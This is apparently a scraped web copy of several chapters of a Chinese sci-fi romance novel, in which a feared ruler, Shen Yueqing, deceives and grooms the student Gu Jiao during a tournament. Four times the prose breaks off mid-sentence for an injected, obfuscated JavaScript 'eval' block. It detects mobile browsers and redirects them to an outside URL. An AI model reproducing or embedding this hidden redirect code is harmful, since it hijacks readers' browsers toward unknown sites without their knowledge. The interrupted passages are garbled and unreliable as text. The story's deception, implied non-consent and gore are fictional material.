他迷迷糊糊伸手一摸,摸到好几个小口子,尤其是下唇,又红又肿,水光潋滟得像个樱桃。 不止唇瓣,就连舌尖上也有伤口,舌根发软,还残留着酥麻疲惫的感觉,仿佛吃了一整晚的东西,到现在都没缓过来。 除此之外眼睛还有些干涩,后颈也一阵一阵地疼,坐起身一看,连衣服也换了一套。 顾骄懵了一会儿,有一瞬间怀疑自己还在梦里,脑中闪过一些模糊不清的记忆碎片,两个人相拥在床上唇舌纠缠,那是他和…… 想到这里,顾骄瞬间惊醒。 他怎么会做这样荒唐的梦!太羞耻了!这、这简直是对沈先生的侮辱。 沈先生那么清雅温柔的人,怎么可能、怎么可能对自己做出那样的事,他简直是把脑子睡坏掉了! 失去意识之前他在做什么来着? ……对了,精神力疏导! 清醒时的记忆慢吞吞回到脑海,顾骄想起自己来酒店是为了给沈月卿做精神力疏导,他在对方的精神图景中看到了一株巨大的藤蔓,然后…… 然后发生了什么? 他不记得了。 绮丽缱绻的画面再次涌入脑中,顾骄使劲摇头,试图将它们从记忆中驱赶出去,可惜收效甚微。 沈月卿刚一进门,就看到顾骄坐在床上摇头晃脑,他将手里的早餐放到一边,伸手揉了揉顾骄的太阳穴。 “头疼?” 顾骄抬头看他,眼角微红,睡意未消,看起来可怜巴巴的。 “沈先生,昨晚我成功了吗?” 别的事都可以先放在一边,这件事才是他最在意也最想知道的,他真的很想很想帮上沈月卿的忙。 “如果你指的是精神力疏导……”沈月卿说,“当然,你做得很好。” 他摊开双手,神色坦然。 “你看,我已经恢复正常了。” “太好了!”顾骄堵在心里的一块大石头总算落了地。 沈月卿抚了抚他的头说:“先吃饭吧,吃完我送你去赛场。” 顾骄点点头,接过早餐吃了起来。 沈月卿带来的早餐是一份熬得浓浓的三鲜粥,还有两个裹满糖霜的小甜粽,色泽鲜美,满屋飘香。 顾骄食指大动,低头喝了一口粥,没想到受伤的唇舌格外脆弱,他立刻就被烫出了眼泪,斯哈斯哈地把粥放到一旁。 沈月卿俯身用手帕细细地为他擦去眼泪,温声说:“别着急,时间还很多,你想吃多久都可以。” 顾骄抿着唇,舌尖抵着唇瓣上的破口,看着眼前温柔的沈月卿,脑海中又浮现那些荒唐的画面。 他犹犹豫豫地问:“沈先生,昨晚……我没做什么出格的事吧?” 沈月卿动作一定,随即掀眸看他,眸光中带着些自然而然的惊讶,“为什么这么问?” 顾骄:“我不记得自己什么时候换过衣服了,还有……后来我好像有点糊涂,发生的事情记不太清。” 他真诚地说:“如果我有任何冒犯的地方,请您一定要告诉我,我会好好道歉的。” 沈月卿轻笑一声,端起热粥缓缓搅拌,语气从容淡然,“没有,我说了,昨晚你做得很好。” “至于记不清事,大概是因为你受到了我的精神图景侵蚀,记忆有所缺失。” “你为了保持清醒,在自己身上弄出许多伤口,完成疏导后就晕了过去。原来那身衣服沾上了血,所以我帮你换了一套,换完我就去了隔壁房间休息。现在可以放心了?” 原来如此。 所有的情况都对上了,顾骄对沈月卿的解释深信不疑,正因如此,也为自己脑海中那个断断续续的春梦感到羞愧。 自己怎么可以将沈先生想成那样?就算是梦也不行! 沈月卿将吹凉的粥送到顾骄唇边,“来。” 顾骄听话地低头喝了,不好意思地说:“沈先生,我自己来吧。” 他只是嘴巴受伤了,手还能动的,怎么能让沈先生这么照顾他。 沈月卿笑着摇摇头:“你就当这是我对你的感谢吧。” 他这么说,顾骄也不好再拒绝,红着耳朵小口小口吃完了早餐,洗漱整理一番后,他们差不多该去赛场了。 站在镜子面前,顾骄总觉得少了点重要的东西,他对着镜中的自己左看右看,骤然发现头上那抹刺眼的白。 他没戴帽子! 在主星的这段时间,帽子几乎成了顾骄身体的一部分,他从不会在任何人面前摘下来,他害怕看到那些将自己视为异类的诧异嫌恶的目光。 顾骄捂着脑袋,在门口蹲下来。 “沈先生,要不、我们还是不去了吧……” 沈月卿也跟着半蹲下来,温柔地平视他的双眼:“怎么了?” 顾骄闷闷地说:“没戴帽子。” 沈月卿:“你不戴帽子也很好看。” 顾骄目光微微一闪,对方能这么说他还挺高兴的,但沈月卿不能代表所有人,长时间形成的自卑感并不会因为一句话就消弭殆尽。他低下头,轻声说:“还是……还是算了吧,不去了。” 沈月卿抬腕看了眼表,时间不算太紧。 他起身开门,对门外的人说了几句话。 顾骄才知道门外还有人候着,是酒店的工作人员吗? 他抬头看过去,房门半掩着,他什么也看不见。察觉他的目光,沈月卿投过来一个安抚的眼神。 过了不到五分钟,领命而去的符辛气喘吁吁地回来了,带着七八顶款式颜色各异的崭新帽子,往首领面前一捧。 沈月卿扫了一眼,挑了顶鹅黄色的针织帽,随后示意他可以离开了。 沈月卿回到房间,对顾骄说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489669|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“戴这个可以吗?” 顾骄连忙点头,只要有帽子戴,他什么都不挑。 沈月卿给他戴上,将帽檐细细抻平拉好,再将遮住眼睛的碎发拨到另一边。 戴好后看向镜子内,他勾唇欣赏自己的作品。 与宽大神秘的兜帽不同,鹅黄色的针织帽柔软轻便,软化了原本疏离感十足的白发,露出的眼眸清澈漂亮,又不失少年意气。 之前的顾骄看起来高冷淡漠,浑身上下透着不好惹的厌世气息,让人不敢靠近。 而现在的他眉眼惊艳,发丝柔软微卷,唇瓣饱满嫣红,左右各三枚高调的黑曜石耳骨钉,与独特的白发交相辉映,介于青涩与成熟之间的容貌已经足够让人自惭形秽。 任谁来看都是张扬桀骜的酷仔一位。 可顾骄不觉得自己酷,他只担心针织帽太短,不能把自己的头发全部遮住,一路上不停将帽檐往下扯,恨不能将眼睛也遮去一半。 酷帅的发型被他折腾得乱乱糟糟,沈月卿伸手将快要把他吞没的帽子提到正常高度,“再往下拉,你就要被它吃掉了。” 顾骄讷讷放手,努力适应自己的新造型。 两人从酒店出去,对面大楼楼顶,微弱的镜片反射光一闪而过。 贺岩身上挂满露珠,脸上戴着高倍监视镜,一动不动监视对面,他已经在这里蹲守了一整晚。 上次他意外被顾骄发现,任务出现重大失误,本该被处罚替换,但由于在顾骄面前露了脸,且一定程度上获取了对方的信任,他的任务反而有了更进一步的可能性,所以得到了将功补过的机会。 因为沈月卿的忽然出现,他不得不暂时离开顾骄身边。他不敢拿自己的性命去赌沈月卿的洞察力,这一路来根本不敢靠近两人,直到他们进入酒店,他才有机会去对面楼顶监视。 说是监视,但由于离得实在太远,他也没能观察到多少详细情况。 如今见他们终于出来,贺岩立刻向武装部汇报。 “顾骄和沈月卿一同从天马星际酒店出来,经过观察,他们昨晚在同一房间内过夜。顾骄现在——呃……” 调整镜片倍数,看清顾骄现在的状态,贺岩难得在汇报时噎了下,因为对方唇瓣红肿破损,神色倦怠,后颈上有个深深的咬痕,看起来实在很像……事后。 当然,没有根据的猜测他是不会乱说的。可当视线转向沈月卿,他的嘴唇怎么也有点红肿? 再看他们身上明显与昨晚进去时不一样的衣服,贺岩陷入沉默。 这该怎么说? 他不知道,于是直接选择放开权限,将自己看到的画面与武装部联络员同步。 “现场情况复杂,我就不说了,你们自己分析吧。” 几个联络员疑惑地点开监控画面,然后不约而同露出震惊的表情,睁大眼睛面面相觑。 有人比贺岩直接得多,脱口而出: “他们这是睡了吧?” 20.第 20 章 “废话!这么明显,一看就是啊!” 几个联络员不假思索,立刻上报。 如果说之前联邦对顾骄的重视程度为三颗星,那么现在直升五颗星。 和沈月卿睡过的人,不管其身份是恋人还是一夜情对象,都足够他们打起十二分精神对待,这可是开天辟地头一遭! 沈月卿这个人性情极度古怪,平时除了杀人会亲力亲为,其他时候根本没人能近身。 以前曾有过一任指挥官尝试对他使用美人计,卧底执行的任务不是低级□□,而是深入了解他的过去,复刻他的喜好,与他情感共鸣,以他绝对契合的灵魂伴侣的形象出现,面对这样的人,不管是圣人君子还是在世阎罗,都不可能无动于衷。 卧底用完美的演技骗过了所有人,甚至一度成为影卫军一员,得以近距离接触沈月卿,用直击心灵的办法拨动他的情感。 最后卧底得到了沈月卿温和的微笑,还有自己这辈子听到的最后一句话,语气好似很苦恼,还带着些不解。 “你好像对我的过去很感兴趣。” 第二天,卧底被完美剥离的一整张人皮挂在了指挥官家门口,这位指挥官很快结束了自己的工作生涯,自此在联邦高层中销声匿迹,再也没有出现。 由此可见,能和沈月卿睡到一张床上的人,绝对不是正常人。 武装部办公室,宋奇收到了内线报上来的消息。 虽然人在主星,但因为顾骄参与百校联赛的缘故,他这些天一直有意关注着天马空间站,沈月卿一着陆他就得到了消息。 只是没想到,他们之间竟然是这种关系。 按照现有的信息来看,顾骄应该还不清楚沈月卿到底是谁,此时的亲密信任,是基于他认知中沈月卿的普通联邦人身份。 可如果他知道了暗域领主的真实身份呢?如果他了解那个暴君曾经做出过多少令人难以想象的残酷之举,犯下过怎样尸山血海的滔天杀孽,他还能若无其事笑脸相迎吗? 宋奇的笔尖长久停留在纸面上,直至浓墨晕透纸背。 这是个很好的机会,他们应该最大限度去争取。 若是顾骄能为联邦所用,那么一切都会变得很简单。无所不敌的污染区神话,有了软肋,也就离死不远了。 * 经过前几天初赛和复赛的激烈淘汰,赛程已经进入最后阶段,成功入围决赛圈的选手,每一个都称得上各自领域的天才。 顾骄进去之后发现赛场里的人比前几天更多,除了每个学院的专属席位上坐得满满当当,外场和看台也站满了人。 他本来想陪沈月卿到看台角落的长椅上落座,可现在那里人满为患,挤不出一个座位,他们只好往联邦学院的专属席位走去。 好在这里还有空座,旁边也没人,顾骄就悄悄拉着沈月卿坐下来。 只要他们别太招摇,大家都在关注比赛,应该没人会注意到。 然而天不遂人愿,他坐在最后一排,发现今天大家的回头率高得吓人。 “顾骄?那是顾骄吗?他今天看起来好不一样。” “靠,他一直这么帅的吗?我今天才注意到!” “好像带家属了,他身边那个长发美人是谁?没见过。” “嘴巴肿肿的,看起来好诱人……嘿嘿!” “简直极品……” 大家一会儿看比赛,一会儿看美人,眼珠子都快转不过来了。 赛场本来就嘈杂,和他们窃窃私语的声音混在一起,顾骄更听不清了。 他的帽子是不是不够大,大家为什么都盯着他看? 顾骄被看得坐立不安,过一会儿就要拉一拉头上的帽子,恨不能变成蘑菇钻到底缝里,隔绝外界所有目光。 他不知道改变形象的自己对周围人的冲击有多大,和沈月卿坐在一起,两人之间仿佛自成一个次元,谁都插不进去。 一个是强大桀骜搞颜值霸凌的天之骄子,另一个清雅出尘遗世独立,大家一时间不知道该羡慕谁好。 总之—— 好看!爱看!看了还想看! 小年轻们沉迷美色无法自拔,殊不知,同一时间的嘉宾席上掀起了怎样的惊涛骇浪。 “暗域那位,他竟然也来了?” 不知不觉,联邦学院的席位成了嘉宾们的目光焦点。 其中,联邦情报部长展昭的脸色最为凝重。他知道昨晚沈月卿就已抵达天马空间站,但没想到对方竟然这么毫无顾忌地出现在赛场。 不过想想也是,沈月卿向来都是个不要命的疯子,做事只凭心情,出现在哪里都不奇怪。 众人神色各异,已经有人整理衣服准备起身,要去哪里不言而喻。 同为主星政权势力,暗域和联邦虽然分庭抗礼多年,在星际间的影响力却截然不同。 联邦占有主星大部分可用资源和人力,与多数行星建立友好关系,星际口碑一直不错;反观暗域,人虽不多,可干出来的都是些不要命的疯事,被他们盯上无异于恶鬼缠身。 加上暗域秩序混乱,法度残缺,对各种高危物品的流通完全没有限制,因此成为了各大行星军火、药品交易的灰色地带,某种程度上也掌握了它们的命脉。 暗域的灰色势力早已经渗透各个星系,更别提暗域领主沈月卿那恐怖的SSS级精神力,是任何一个政权都不敢轻易招惹的存在。 顾骄正在认真看比赛,一边听沈月卿分析选手们使用精神力的技巧,余光瞥见联赛协会的副主席直挺挺走向自己这边,心里顿时一突。 他只是让朋友暂时坐了下学院的位置而已,不至于让副主席亲自出马惩罚吧? 在他屁股离开座位的前一秒,符辛忽然出现,上前挡住了副主席的去路。 顾骄不知道他们在谈什么,不过见他们说得有来有回,不像是陌生人。没记错的话,这位副主席好像是械星统帅来着。 他看向沈月卿,好奇地说:“管家先生和副主席好像很熟的样子。” 沈月卿回眸瞥了一眼,淡淡收回视线,“卖茶叶的,和庄园有过交易往来,这次应该也是来谈生意。” “噢。” 顾骄了然点头。 比赛上都不忘抽空谈生意,看来副主席对自己的茶叶很重视呢! “嘉宾席还有至尊席位,视野非常开阔,那位真的不去吗?” 副主席专程过来一趟,目的当然不仅仅只是请沈月卿换个座位,见到沈月卿本人的机会太过稀有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499413|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他实在顾不得场合合不合适了,手里捏着十几个亿的军火生意想要和对方交涉,奈何沈月卿根本没有和他说话的兴趣。 符辛皮笑肉不笑,腔调看似尊重,实则将人拦得死死的。 “统帅阁下,我们首领今天不谈公事,您请回吧。” 副主席皱眉说:“他会在赛场待多久?” “这就不是我能知道的了,不过至少……在顾先生比赛结束之前,首领不会离开。” “顾骄?”副主席眼神隔空在顾骄身上扫了一下,点点头,“好,请符副官转告你们首领,械星有笔大买卖需要与他商议,请他得空后尽快回复。” 符辛答应了,但等副主席走后,他并没有照做。 以首领的耳力,如果他想,这次谈话的每一个字都能听清楚。既然他没有传召自己,而是选择继续和顾骄说话,说明他完全没把副主席的话放在眼里。 稍作停留后,符辛转身离去。 沈月卿在教顾骄怎么操控精神力。底下正在进行二分之一决赛,选手们的对战很精彩,他正好以此为例,教给顾骄许多窍门。 他是个很好的老师,将艰难晦涩的技巧说得浅显易懂,还会手把手带着学生做一遍。 顾骄悟性极高,在他的引导下进步神速,短时间内又有了巨大提升。 “我知道该怎么做了!” 顾骄眼睛亮亮的,精神力的高频消耗让他感到有些疲惫,但情绪却高度亢奋,刚才这几个小时学到的东西比他过去在学院一个多月的时间加起来学得还多。 他就像一块海绵,迫不及待地汲水。 “先生先生,我们开始下一项练习吧。” 沈月卿笑着捏了捏他的后颈:“别心急,稍后你还有比赛,不能消耗太大。” “噢,对哦。差点忘了。” 顾骄挠挠头,打消了接着练习的念头。 “那等我打完比赛,我们继续好不好?” 沈月卿:“只要你想,我随时都可以。” 顾骄开心得不行,伸长手臂抱了抱沈月卿,感激地说:“谢谢沈先生!” 沈月卿温柔地拍拍他的肩膀,不急不缓地说:“你想学什么我都能教你,但是骄骄,你要明白,学会的招数再多,如果面对敌人用不出来,那就没有任何意义。” 顾骄动作一僵:“我……我知道了。沈先生你渴吗?我去买水!” 说着他就想跑,但是沈月卿稳稳按住他的肩膀,不赞同地摇头,将他的小心思看得一清二楚。 “骄骄,不要逃避我的问题。” 顾骄焉巴巴地点头:“好。” 沈月卿认真地看着他的眼睛,“下次比赛,你使用精神力的时候不需要有所顾忌,能答应我吗?” 顾骄想了想,觉得这很难办,但是、但是他不想让沈月卿失望。 沈月卿对他的期望,他都想努力实现。 于是他抿着唇,点头:“我,会努力尝试的。” 沈月卿这才缓缓勾起唇角,拇指在顾骄脸侧温柔摩挲。 “好孩子。” 暗中观察着他们的其他学生,看见这一幕后,对顾骄身上的种种可疑痕迹有了清晰认知。 可恶,好……好涩啊! 21.第 21 章 四进二半决赛,敖天对阵巨洋学院选手。 在仅剩的四强中,敖天是唯一以个人名义参赛的选手,一路上的出色表现和高调风格吸引了很多人的注意。 他性情暴虐,手段残酷,比赛赢了不算,还要狠狠侮辱对手,很多人因此与他结下仇怨,但也有人将这视作真性情的体现,对他另眼相待。 但不管旁人对他的评价如何,他的实力是毋庸置疑的强横。 巨洋学院的选手虽然也是个难得一见的天才,可根据赛前分析,这人的精神力特性完全被敖天克制,再加上原本就存在微妙的实力差距,敖天落败的可能性仅为16.3%。 不出意外的话,他能稳进决赛。 大家都觉得比赛结果已定,这场比赛很快就能分出胜负,然而事实却相当出人意料。 战况一度十分焦着。 不是巨洋学院的选手变强了,而是敖天的状态不对。 明眼人都能看出来,他神情恍惚,心不在焉,动作反应都慢半拍,注意力根本就无法集中到眼前的比赛上。 事前在他身上自信下注的人不禁狠狠捏了把汗。 该死的,他到底在走什么神?这可是半决赛! 顾骄也看出了端倪,跟昨天晚上见到的飞扬跋扈的模样相比,敖天现在完全变了个人。 自己以前总是睡不饱觉,每天上课困得快要昏过去的时候就差不多是这个状态。难道敖天昨晚也没睡好吗? 想起昨天晚上的事,顾骄又觉得对方实在是自食恶果。 叫他半夜不睡觉跑出来捣乱,该! 他一边在心里悄悄骂敖天,一边关注比赛,敖天虽然不在状态,但基本功还是很扎实的,没有让对手抓到致命破绽。 战局拉得很长,期间反转不断,险象环生,最终敖天一记精神力压缩暴击轰碎了对手的防御屏障,漫长的战斗终于拉下帷幕。 战斗相当精彩,可敖天获胜之后面无喜色,反而显得更加憔悴,没心思享受观众的呐喊,也没留下等裁判宣布胜利,失魂落魄地下场了。 没睡醒也不至于懈怠成这样,顾骄掩着唇小声对沈月卿说:“敖天好像不太对劲。” 沈月卿幽深的目光在敖天身上停留一瞬,脸上看不出多少情绪,显得有些森冷。 下一场比赛在半小时后,他对顾骄说:“不必管他,你的比赛快要开始了,好好准备。” 顾骄点点头,收敛心神,开始闭目调息,尝试调动精神力。 不远处的符辛很快收到一条消息,来自首领。 “敖天一周内接触过的所有人,查。” 半小时后,四进二半决赛第二场,联邦学院顾骄对战巴林学院蔚莱。 巴林是械星王牌学院,精通机甲操纵。机甲与人体性能差距太大,公平起见,联赛规定选手不得在比赛中使用,这极大地限制了械星选手的实力发挥。 之前有人假冒顾骄的名义,四处传言械星人都是只会躲在机甲里的蛆虫,激起了所有械星人的怒火。 但不包括蔚莱。 作为巴林学院最优秀的学生,他早已将自己的肉.体与机甲融为一体,造就了一身刀枪不入的外骨骼,身体大部分器官也进行机械化,由数百种精密零件组合而成,完全不惧病痛。 某种程度上来说,他已经不算是一个完整的人了。但正因如此,他也获得了远非人类力所能及的能力。 蔚莱是此次联赛夺冠的热门选手,基于前几场战斗的出色表现,压在他身上的赌注并不比顾骄少多少,还得到了“人形机甲”的美称。 S级精神力只是踏进半决赛的门槛,在等级之上,比赛还考验选手自身的理解和技巧,还有精神力的熟练度、持久度、爆发力。 敖天无疑是位爆发性选手,而蔚莱,在同级别领域内,精神力持久度第一,无人能出其右。 他的战斗方式是以半机械化的身体作为武器,精神力为燃料,只要精神力不灭,战斗就永远不会停止。数不清的对手被生生拖到力竭,对疾风骤雨般的攻击应接不暇,最后败下阵来。 人类之躯无法比肩机甲,只要在精神力上耗不过蔚莱,那么这场战斗就已成定局。 所以,要想打败他,只有一个办法—— 比谁更能耗。 长时间的高强度精神力输出,谁先耗尽能量,谁就是输家。 以上是沈月卿为顾骄做出的赛前分析。 站上赛场,顾骄照例礼貌问好。 蔚莱的反应是冷哼一声,不予理会。 他没有被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518350|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流言激怒,并不代表他对顾骄没有意见,事实上他很看不惯顾骄,分明是个籍籍无名的愣头青,却一副胜券在握的模样,对其余选手冷眼相待,未免太过自以为是了! 他和伽蓝越还算有些交情,对方败给这种人,实在让他火大。 见蔚莱面色阴沉,冷眼注视着自己,顾骄挠了挠头。 他遇到的对手怎么好像心情都不太好…… 战斗拉响,比赛开始。 几乎在裁判拉铃的瞬间,蔚莱的身影就消失在原地,然后鬼魅般出现在顾骄背后,手臂上雪光一闪。 顾骄凭着本能侧身,险而又险地避过了对方的肘刃袭击,随即下一个拳风接踵而至。 他的第一反应还是和对方拼体术,但很快他就发现不行。 蔚莱的精神力持久度强到变态,如果没有外力进行干扰消耗,自己迟早会耗尽体力。 没得选了,现在必须用沈月卿所说的办法,高强度精神力对抗! 顾骄一边应对蔚莱狂风暴雨般的攻击,一边分心调动精神力。第一次做这种尝试,他不确定自己该用多少才合适。 保险一点……就放出六成吧。 精神力释放的瞬间,“嗡”的一声,空气中出现不明显的震荡波纹,数不清的透明触须凭空生成,几乎笼罩了整个赛场。 观赛的众人看在眼里,满心感叹。只是精神触须就已经铺天盖地,其本体的真实面目不知道会有多么可怕,可惜顾骄没有将其完全放出,保留得相当神秘。 同为S级,蔚莱并不畏惧与顾骄的精神体正面对撞。 他的精神力持久度强,并不代表其他方面就会弱。 强大的精神墙转瞬间构建起来,将他身体的每一寸严丝合缝守护在内,有外骨骼的加持,他有自信让顾骄讨不到半点便宜,悍然迎上透明触须的攻击。 然而下一秒,他身体一僵。 触须轻松穿透精神墙,他引以为傲的防御屏障没起到半点作用。 他没有反应的机会,如同数千根针同时刺入大脑,尖锐的刺痛让他眼前一片空白,整个世界骤然寂静无声,只剩下持续不断的剧烈耳鸣,丧钟般长鸣不息。 为、为什么…… 所向披靡的人形机甲,摇摇晃晃地倒了下去。 22.第 22 章 看见蔚莱倒下的那一刻,顾骄的脸色瞬间变得苍白。 半机械化的身体一动不动倒在地上,有那么两三秒钟的时间,顾骄完全不知道自己该做什么,眼睛里只有对方倒下的身影。 “我……我又害人了吗?” 裁判小跑到蔚莱面前,测试仪扫描其身体状况,黄灯亮起。 一通简单的应急操作之后,蔚莱缓缓睁眼,强撑着站了起来,满脸写着不可思议。 裁判向他确认是否还能继续比赛,他的回答是毫不犹豫的肯定,可话刚说完,他就“哇”地一声转头吐了起来。 精神力受到巨大刺激,现在他体内所有生理功能都处于无法自控的紊乱状态,别说继续战斗,就连保持身体平衡都是件难事。 这样的状态已经不适合继续比赛了。 顾骄也没了继续比赛的欲望,眼睁睁看着人在他面前倒下的刺激过于强烈,虽然蔚莱还能站起来,让他感到稍微安心了些,可直到现在他的双手都还在微微发颤,精神体也早就消散无踪。 如果没有沈月卿坐在观众席上观赛,他早该主动认输了。 蔚莱吐得昏天黑地,胃酸都呕出来了。等到胃里终于吐干净,他擦擦嘴角直起腰,喘着气对顾骄说:“来,继续。” 话音刚落,裁判再次拉铃,这次代表着比赛结束。 “巴林学院弃权。本轮比赛获胜者——顾骄!” 蔚莱猛然抬头,目眦欲裂,一把抓起裁判的衣领,几乎把人撞翻在地:“你开什么玩笑?我还没有输!” “蔚莱!” 巴林学院的导师冲上台,动作强硬地将他扯开:“别在这儿犯浑,是我说的弃权!” “老师!”蔚莱不能理解,“为什么要弃权?我还没有倒下,我有机会赢的!为什么要把胜利拱手相让?!你撤回,我不要输,我还要继续打!” “啪——” 力道极重的一耳光,他的脸被狠狠打偏了过去。 “机会?你还有什么机会?” 导师压低了声音,在他耳边重重强调,“人家只是放出精神力就能碾压你,继续打下去你不要命了吗!” “那顾骄是什么人?和暗域领主混在一起,你真当他是个普普通通的联邦学生?背地里的手段只怕不知道有多阴毒!我让你弃赛是为你好!” 听到这里,蔚莱的眼神缓缓暗了下去。 和顾骄在一起的人是暗域领主?开什么玩笑…… 他当然知道暗域领主是多么可怕的存在,老师的话绝对不是危言耸听。可顾骄一个联邦人,怎么会和暗域的首领走到一起?联邦武装部是死了吗? 可纵使心头有万千不甘,也没人能解答他的质疑,蔚莱最后只能咬牙认输。 百校联赛夺冠的热门种子选手之一,遗憾败退。 狂热的欢呼声再次响彻云霄,这次顾骄的心情却完全兴奋不起来,他愣愣看着蔚莱离去的身影,眼中满是无措。 直到僵硬的手指被人握住,一如既往的温柔声线让他的身体慢慢回暖。 “骄骄?手怎么这么凉,还好吗?” 眼神聚焦在沈月卿关切的面容上,顾骄的眼睛一眨不眨,呆呆地问:“沈先生,他会有事吗?” 沈月卿知道他问的是蔚莱,温声说:“他没事,也许会头晕几天,不过很快就能恢复。” 像是抓住了救命稻草,顾骄深深地吸了一口气,堵在胸口的那种窒息感终于开始消退,他整个后背都被冷汗浸透了。 顾骄的状态显然不对劲,但正处于狂热状态的观众全然关注不到,他们只看到顾骄再一次速溶了实力强大的对手,下注到他身上的筹码再次疯狂堆叠。 “没事了,没事了。” 顾骄惊魂未定,沈月卿低声哄着,牵起他的手一同离场。 众人哗然,有人兴奋上头想要上前攀谈,被沈月卿一个淡淡的眼神钉在原地,好半天不敢动弹,直到二人走远,才劫后余生般瘫软下来。 相比于观众席一无所知的狂欢,嘉宾席这边则要安静得多,有人讳莫如深,有人低头沉吟,而晨曦研究院的袁博士则注视着早已离去的二人,若有所思。 “把顾骄的参赛资料调出来。” * 沈月卿带顾骄回到酒店。 顾骄坐在床边,神情低落,垂着脑袋不说话。 沈月卿将水杯放在床头,半蹲着抬头注视他,轻轻帮他擦掉额角的汗水,柔声说:“在我面前不用忍耐。” 顾骄紧紧咬着唇,眼中满是难过。 “沈先生,我可以抱抱你吗?” 沈月卿倾身环抱住他,用行动代替回答。 顾骄把脑袋埋进对方肩膀,双手回抱沈月卿,指尖紧紧攥住他的衣服,闷闷的声音从衣服缝隙里钻出来。 “……我以为他会死。” “沈先生,我真怕他会死。” 从后颈到背脊,再到腰线,沈月卿不厌其烦地在顾骄身上轻抚,平复他激荡的情感。 他视杀人平淡如吃饭喝水,但对于顾骄来说,这却是件极其严重,无法接受的事情。 沈月卿享受顾骄的主动靠近,但不希望顾骄因为一条无谓的人命而被影响心情。 “没关系,不会有事的,你什么都没做错。” 他唇角带着浅笑,一下一下轻拍对方的背脊,扮演温柔又可靠的引导者角色。他的小狗喜欢这样的桥段。 “我不知道你为何为此感到难过,你也不必告诉我。”他嘴唇张合,吐露出最能俘获人心的慰勉。 “我只希望你能忘掉过去的不愉快,别再让自己留下遗憾,好吗?” 顾骄偏头靠在他的肩膀上,眼中闪着细碎的光,像是被他说动了,轻轻点了点头:“嗯。” “那我们来说点好消息。”沈月卿摸摸他的脸,“只要赢下最后一场比赛,你就成为冠军了。” 顾骄明白,沈月卿这是在鼓励自己,不想自己因为这次的意外放弃参加比赛。 参加百校联赛虽说只是他的一时兴起,可一路走到决赛,他也付出了很多努力,更何况沈月卿特地赶来陪他,他不能辜负对方的好意。 顾骄坐直身体,神情振作了些,揉了揉眼睛,低声说:“好,我……会尽力的。” 经过一日的休整准备,百校联赛终于迎来最后的决赛。 战斗双方很有意思,分别是来自主星联邦学院的特招生顾骄,和来自主星暗域的个人参赛者敖天。 两人同样出自主星,但分属不同势力,结合联邦与暗域数百年来的残斗纷争,今天这场战斗注定意义深远,耐人寻味。 有好事的观众早早就来到了赛场占座,虽然赛场内有高清大屏实时转播,但如此精彩的战斗当然要近距离观看才算过瘾。 三百六十度无死角的监控飞行器在四角严阵以待,三名高级裁判也已就位,各个位置座无虚席。 预热结束。下午四点十五分,比赛正式开始—— 顾骄看着自己面前的决赛对手,老熟人敖天。 之前初赛上人群中偶然一瞥时,他没有想过会是这个人和自己打到最后。 那时面对敖天,他心里没底,很怂。而现在…… 依然很怂。 还是那句话,敖天真的长了一张非常非常不好惹的脸,自己必须要仰视的身高和铁板似的大块肌肉会带来巨大的压迫感。 而且……这人从一开始就对自己有着莫名的敌意。 一看到敖天的脸,顾骄就会想起那碗被打翻的汤圆。他暗暗下定决心,不管比赛是赢是输,赛后只要自己还能站起来,就一定要让对方赔钱。 敖天的脸色不太好,看起来有点虚弱,就像连熬了几个通宵,被完全抽空了精气神的那种虚弱。 但他的态度却来了个一百八十度大转弯,上来先对顾骄赔了个笑脸,如果不是顾骄对他怀有戒心,看样子他还想上来握个手。 事出反常必有妖,顾骄警觉退后:“你、你干嘛……” “别紧张嘛~”敖天露出一个非常不符合他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528910|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人设的憨笑,全方位展示自己的友好,“交个朋友。” 可以看出他相当不适应这样友善的说话方式,语气反而变得很奇怪。 强行友善的表情,违和的语气,还有意义不明的示好。 ——他看起来像个人贩子。 人贩子敖天真诚地说:“前两天不小心打翻了你的汤圆,对此我感到十分抱歉,回去之后彻彻底底地反思了自己的行为,打心底里觉得我真是错得离谱。” “对不起,你能原谅我吗?” 